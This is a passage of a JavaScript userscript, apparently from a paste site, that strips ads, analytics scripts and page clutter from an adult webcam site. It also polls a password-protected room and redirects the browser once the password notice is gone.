  843.     MV_removeElementsByPath("//div[@class='c-1 endless_page_template']//div[@class='thumbnail_label thumbnail_label_c']");
  844.     MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='http://blog.chaturbate.com/']");
  845.     MV_removeElementsByPath("//div[@class='top-section']//li/a[@href='/']");
  846.     MV_removeElementsByPath("//div[@class='featured_text']");
  847.     MV_removeElementsByPath("//div[@class='footer-holder']");
  848.     MV_removeElementsByPath("//div[@class='featured_blog_posts']");
  849.     MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_c')]");
  850.     MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_tokens')]");
  851.     var headerAD = $('.ad');
  852.     if (headerAD) { headerAD.remove(); } //Remove AD sections hidden inside the page Header
  853. // =============================================================================
  854.     var scriptTest = $('script[src="https://cdn.exoticads.com/xads.js"]');
  855.     if (scriptTest) { scriptTest.remove(); } //Remove the garbage AD script
  856. // =============================================================================
  857.     var scriptTest2 = $('script[src="https://ssl.google-analytics.com/ga.js"]');
  858.     if (scriptTest2) { scriptTest2.remove(); } //Remove the google analytics tracking script
  859. // =============================================================================
  860.     var removeGAQ = $('script[id="gaq"]');
  861.     if (removeGAQ) { removeGAQ.remove(); } //Remove the google tracking script
  862. }
  863. // =============================================================================
  864. // === Functions================================================================
  865. // =============================================================================
  866. // Include start [domUtil.js]
  867. function MV_removeElementsByPath(pPath) {
  868.     var pathResult = document.evaluate(pPath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  869.     if(pathResult.snapshotLength > 0) {
  870.         for(var i=0; i < pathResult.snapshotLength; i++) {
  871.             var pathNode = pathResult.snapshotItem(i);
  872.             pathNode.parentNode.removeChild(pathNode);
  873.         }
  874.     }
  875. }
  876. // =============================================================================
  877. // === Get Elements By Path ====================================================
  878. // =============================================================================
  879. function MV_getElementByPath(pPath, pRoot) {
  880.     var pathResult = document.evaluate(pPath, pRoot === null ? document : pRoot, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  881.     return pathResult.snapshotLength <= 0 ? null : pathResult.snapshotItem(0);
  882. }
  883. // =============================================================================
  884. // === Create Button ===========================================================
  885. // =============================================================================
  886. function MV_createButton(pAttributes, pClickListener) {
  887.     pAttributes.type = "button";
  888.     var resultElement = MV_createElement("input", pAttributes);
  889.     if(pClickListener !== null) {
  890.         resultElement.addEventListener("click", pClickListener, true);
  891.     }
  892.     return resultElement;
  893. }
  894. // =============================================================================
  895. // === Create Element ==========================================================
  896. // =============================================================================
  897. function MV_createElement(pElementName, pAttributes, pInnerHtml) {
  898.     var resultElement = document.createElement(pElementName);
  899.     for(var attributeName in pAttributes) {
  900.         resultElement.setAttribute(attributeName, pAttributes[attributeName]);
  901.     }
  902.     if(pInnerHtml !== null) {
  903.         resultElement.innerHTML = pInnerHtml;
  904.     }
  905.     return resultElement;
  906. }
  907.  
  908. var passCheck = document.createElement('INS');
  909. var passTxt = document.createTextNode('');
  910. passCheck.setAttribute('id', 'checkPass');
  911. passCheck.setAttribute('style', 'display:none;');
  912. passCheck.appendChild(passTxt);
  913. document.body.appendChild(passCheck);
  914.  
  915. $('#checkPass').load('https://chaturbate.com/' + latest + '#main .content .c-1 .block h1');
  916.  
  917. setTimeout(function() {
  918.     var getPass = document.getElementById('checkPass').textContent;
  919.     var stripPtags = getPass.search('This room requires a password.');
  920.     if (stripPtags !== 0) {
  921.         return;
  922.     }
  923.     else {
  924.         setInterval(function() {
  925.             var newLatest = latest.replace('roomlogin/', '');
  926.             $('#checkPass').load('https://chaturbate.com/' + newLatest + '#main .content .c-1 .block h1');
  927.             setTimeout(function() {
  928.                 var rePcheck = document.getElementById('checkPass').textContent;
  929.                 var rePstrip = rePcheck.search('This room requires a password.');
  930.                 if (rePstrip === 0) {
  931.                     return;
  932.                 }
  933.                 else {
  934.                     window.location = 'https://chaturbate.com/' + newLatest;
  935.                 }
  936.             }, 5000);
  937.         }, 5000);
  938.     }
  939. }, 5000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement